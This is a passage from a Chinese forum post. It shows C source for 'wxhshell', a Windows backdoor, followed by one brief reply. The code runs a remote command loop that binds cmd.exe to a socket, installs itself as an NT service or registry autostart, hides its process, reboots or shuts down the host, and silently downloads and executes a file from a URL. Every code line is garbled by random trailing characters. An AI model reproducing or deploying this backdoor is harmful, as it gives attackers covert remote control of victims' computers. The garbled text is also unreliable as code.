  if(DownloadFile(cmd,wsh)) K&T.~2'>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,,ML^ey  
  else _C|j"f/}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KYz@H#M  
  } 3'SN0VL  
  else { !>GDp>0  
jQBn\^w  
    switch(cmd[0]) { HLc3KYIk  
   <$K7f  
  // 帮助 ,,7hVw  
  case '?': { j}fSz)`i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rQ&XHG>Q*  
    break; W?[ C au-  
  } l?Ls=J*  
  // 安装 E, oR.B  
  case 'i': { ,VzbKx,  
    if(Install()) gebL6oc%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0E{DO<~  
    else 7E5 =Qx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \i<7Lk  
    break; v(, tu/  
    } R+.kwq3CED  
  // 卸载 vw-y:,5`t8  
  case 'r': { h&~9?B  
    if(Uninstall()) 2~V"[26t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \zOsq5}  
    else ^nDa-J$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' hdLQ\J  
    break; 3bQq Nk  
    } 5FsfJpw  
  // 显示 wxhshell 所在路径 AWA J*6Z  
  case 'p': { g?cxqC<  
    char svExeFile[MAX_PATH]; )a%E $`   
    strcpy(svExeFile,"\n\r"); <KE%|6oER  
      strcat(svExeFile,ExeFile); K;>9K'n  
        send(wsh,svExeFile,strlen(svExeFile),0); #6pJw?[  
    break; ,)VAKrSg  
    } {j4&'=C:  
  // 重启 JcfGe4  
  case 'b': { ZzP&Zrm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oqg +<m  
    if(Boot(REBOOT)) ,v?FR }v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d\8j!F^=  
    else { TFz k5  
    closesocket(wsh); ~c*kS E2X  
    ExitThread(0); T#vY(d  
    } Rv.IHSQUo  
    break; vV"I}L  
    } QcjsQTAbk  
  // 关机  2 av=W  
  case 'd': { NiRb:F-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SEE:v+3|  
    if(Boot(SHUTDOWN)) NW&2ca  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); as!P`*@  
    else { GXRW"4eF5  
    closesocket(wsh); sN) xNz  
    ExitThread(0); RPjw12Ly  
    } EZT 8^m  
    break; $ % B  
    } C]h_co2eI  
  // 获取shell :lK8i{o  
  case 's': { +G,_|C2J  
    CmdShell(wsh); abS3hf  
    closesocket(wsh); !JVv`YN  
    ExitThread(0); F'JT7# eX  
    break; 8I<j"6`+Q  
  } A.RG8"  
  // 退出 `\/\C[Gg  
  case 'x': { $FZcvo3@*S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B$7Cjv  
    CloseIt(wsh); y k\/Cf  
    break; 2+*o^`%4P  
    } vN~joQ=d  
  // 离开 vJsg6oH  
  case 'q': { 7$8DMBqq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -M4VC^_  
    closesocket(wsh); IIF <Zkpb  
    WSACleanup(); pOj8-rr  
    exit(1); CBz=-Xr  
    break; S,a:H*Hf  
        } IOJLJ p  
  } =?N$0F!  
  } 6}Rb-\N  
h${=gSJc  
  // 提示信息 _SH~.Mt_!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 h>,  
} Zlygx  
  } R0G!5>1i  
qca=a }  
  return; ZS`9r16@b  
} ;q#Pl!*5  
GgE 38~A4  
// shell模块句柄 -MORd{GF  
int CmdShell(SOCKET sock) =)x+f/c]  
{ s{42_O?,c  
STARTUPINFO si; nB/`~_9  
ZeroMemory(&si,sizeof(si)); o>&-B.zq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +6n\5+5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iP1yy5T  
PROCESS_INFORMATION ProcessInfo; H29vuGQjq  
char cmdline[]="cmd"; A7T(p7pP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uC[F'\Y  
  return 0; 0C6T>E7  
} 7y$U$6  
3FMYs&0r4  
// 自身启动模式 ^Cj3\G4,  
int StartFromService(void) 9V;A +d,  
{ E 0@u|  
typedef struct E5a7p.  
{ L[U?{  
  DWORD ExitStatus; AtqsrYj  
  DWORD PebBaseAddress; :4LWm<P  
  DWORD AffinityMask; l7Wdbx5x0  
  DWORD BasePriority; M<SVH_  
  ULONG UniqueProcessId; e+?;Dc-SJ\  
  ULONG InheritedFromUniqueProcessId; G-#rWZ&  
}   PROCESS_BASIC_INFORMATION; ;qcOcm%  
Dv4 H^  
PROCNTQSIP NtQueryInformationProcess; zhY]!  
f=Oj01Ut*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N9u {)u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4E$d"D5]>p  
A-h[vP!v|  
  HANDLE             hProcess; 9"}5jq4*  
  PROCESS_BASIC_INFORMATION pbi; o :j'd  
)q[Wzx_ j<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $2a_!/  
  if(NULL == hInst ) return 0; 6zGeGW  
]H<}6}Gd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V|/N-3M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?.c:k;j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6w_TL< S  
=%B}8$.|  
  if (!NtQueryInformationProcess) return 0; *o<|^,R  
O>9-iqP>`d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v9Lf|FXo&  
  if(!hProcess) return 0; k4` %.;  
i 1GQ=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; we kb&?  
Fz| r[  
  CloseHandle(hProcess); 6p.y/LMO  
5fLp?`T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y!|4]/G]?t  
if(hProcess==NULL) return 0; +=*ND<$n/E  
//bQD>NBO  
HMODULE hMod; Fw^^sB  
char procName[255]; b27t-p8  
unsigned long cbNeeded; Rhw+~gd*F  
7 4hRG~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6t'.4SR  
G}aM~,v  
  CloseHandle(hProcess); G\(*z4@Gz  
dki3(  
if(strstr(procName,"services")) return 1; // 以服务启动 t$lJgj(  
m]}EVa_I`/  
  return 0; // 注册表启动 pezfB{x?  
} {J/+KK  
7'ws: #pC  
// 主模块 OUN"'p%%  
int StartWxhshell(LPSTR lpCmdLine) yvnvIy  
{ !P6?nS  
  SOCKET wsl; ;Q[E>j?w=  
BOOL val=TRUE; ( v$ i  
  int port=0; Qz$Wp*  
  struct sockaddr_in door;  TZdJq  
!yz3:Yzu  
  if(wscfg.ws_autoins) Install(); j_b/66JyN  
Zj0h0Vt  
port=atoi(lpCmdLine); 7>EMr}f C  
rAD4}A_w  
if(port<=0) port=wscfg.ws_port; ('.I)n  
8[a N5M]  
  WSADATA data; Ft_g~]kZo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FR\r/+n:t0  
_j~y;R)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #(Yd'qKo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i6O'UzD@T  
  door.sin_family = AF_INET; rY$ wC%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MYVb !  
  door.sin_port = htons(port); OK z5;#S=  
WY26Iq@C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SzG?m]  
closesocket(wsl); 2\F'So  
return 1; sBNqg~HwB?  
} }T53y6J#  
8A 'SMJi  
  if(listen(wsl,2) == INVALID_SOCKET) { 8sq0 BH  
closesocket(wsl); 8SCXA9}  
return 1; T`c:16I  
} 8 v da"  
  Wxhshell(wsl); aLwEz}-   
  WSACleanup(); J?jxD/9Yb  
Iomx"y]9  
return 0; oMNBK/X_  
F'ez{ B\AX  
} gUiZv8C  
DP!8c  
// 以NT服务方式启动 tn|H~iF{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }t1 q5@QU  
{ D<[kbt 5^7  
DWORD   status = 0; eGWwPSIp  
  DWORD   specificError = 0xfffffff; "M,Hm!j  
w!}kcn<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `Y, Rk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NYR:dH]N~d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r_o\72  
  serviceStatus.dwWin32ExitCode     = 0; X#X/P  
  serviceStatus.dwServiceSpecificExitCode = 0; J~N!. i  
  serviceStatus.dwCheckPoint       = 0; MI`<U:-lP  
  serviceStatus.dwWaitHint       = 0; {H 3wL  
]=Wq&~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S5cs(}Bq  
  if (hServiceStatusHandle==0) return; j3[kG#  
G420o}q  
status = GetLastError(); Q=epUHFs  
  if (status!=NO_ERROR) (T.j3@Ko  
{ ixqvX4vv,B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |WgFLF~k  
    serviceStatus.dwCheckPoint       = 0; a24(9(yh  
    serviceStatus.dwWaitHint       = 0; +;q` A 1  
    serviceStatus.dwWin32ExitCode     = status; =$_kkVQ$  
    serviceStatus.dwServiceSpecificExitCode = specificError; p;mV?B?oAQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BNixp[Hc  
    return; D$`$4mX@hP  
  } OSwum!hzN  
M0]J `fL@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XFi9qL^  
  serviceStatus.dwCheckPoint       = 0; 6g)CpZU  
  serviceStatus.dwWaitHint       = 0; 8w~X4A,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 31p7oRzr  
} g c<Y?a-  
"rpP  
// 处理NT服务事件,比如:启动、停止 MQX9BJ%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~6[3Km|2  
{ qGzF@p(p8  
switch(fdwControl) QjTs$#eMW  
{ {Ut,xi  
case SERVICE_CONTROL_STOP: V}h)e3X  
  serviceStatus.dwWin32ExitCode = 0; $wk(4W8E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Y"./BDY  
  serviceStatus.dwCheckPoint   = 0; 1.nYT*  
  serviceStatus.dwWaitHint     = 0; R !>SN0  
  { d\tA1&k71  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EEHTlqvR  
  } $;)A:*e  
  return; rt\.|Hr4s  
case SERVICE_CONTROL_PAUSE: +0:]KG!Zs.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c >xHaA:V  
  break; BD mF+  
case SERVICE_CONTROL_CONTINUE: P[H 4Yp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4u1au1c  
  break; BD M"";u  
case SERVICE_CONTROL_INTERROGATE: F*y7 4j,  
  break; I0_>ryA  
}; Qn@[{%),4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L; <Pod  
} ra1_XR}  
bFJ>+ {#  
// 标准应用程序主函数 9Wdx"g52_D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r$,Xv+}  
{ U bh)}G,Mg  
)OFf nKh  
// 获取操作系统版本 35fj-J$8  
OsIsNt=GetOsVer(); 2>xEE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H$6;{IUz~  
M4t:)!dji?  
  // 从命令行安装 !@FzP@  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z5"5Ge-M  
,fhK  
  // 下载执行文件 RZ?abE8  
if(wscfg.ws_downexe) { =V:Al   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <{z-<D;  
  WinExec(wscfg.ws_filenam,SW_HIDE); N\fj[?f[  
} Wyb+K)Tg  
z#d*Odc  
if(!OsIsNt) { -s 7a\H{~  
// 如果时win9x,隐藏进程并且设置为注册表启动 zo1 fUsK?  
HideProc(); >ni0:^vp  
StartWxhshell(lpCmdLine); w`F'loUEt  
} w[u>*I  
else 5#dJga/88  
  if(StartFromService()) )1!0'j99.  
  // 以服务方式启动 ZU l-&P_X  
  StartServiceCtrlDispatcher(DispatchTable); ye4GHAm,p  
else [u^~ND'  
  // 普通方式启动 c + aTO"  
  StartWxhshell(lpCmdLine); $IJ"fs  
v `;Hd8  
return 0; yxi*4R  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八